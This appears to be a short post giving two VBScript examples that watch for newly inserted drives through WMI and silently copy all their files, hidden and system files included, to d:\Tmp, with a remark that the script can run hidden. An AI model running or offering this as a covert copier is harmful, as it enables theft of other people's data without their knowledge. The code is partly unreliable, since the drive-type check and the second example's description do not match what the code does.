In fact, this work can be done with VBS and hidden (as in the following example). The advantage of this script is that it can successfully copy files for USB drives identified as mobile hard drive types.
1. Monitor all newly added drives and copy all files from new drives to the D drive
'Monitor inserted USB drives or mobile hard drives at any time, and if there are any, automatically copy all files in them to d:\Tmp
'Change fso.CopyFile to fso.CopyFolder to copy folders
'Note: Files or folders with hidden and system attributes are all copied
'Overwrite true, not overwrite false. Files and folders with read-only attributes cannot be overwritten
'If there are multiple new drive letters, the files in each drive are copied
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
& "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 3 Then
If objEvent.Path_.Class = "__InstanceCreationEvent" Then
NewDri = objEvent.TargetInstance.DeviceId
fso.CopyFile NewDri & "\*","d:\Tmp\",true
End If
End If
Loop
2. Monitor newly added drives and only copy all files in the first partition to the D drive
Dim NewDri(9)
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
& "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 3 Then
If objEvent.Path_.Class = "__InstanceCreationEvent" Then
i=i + 1
NewDri(i) = objEvent.TargetInstance.DeviceId
fso.CopyFile NewDri(i) & "\*","d:\Tmp\",true
End If
End If
Loop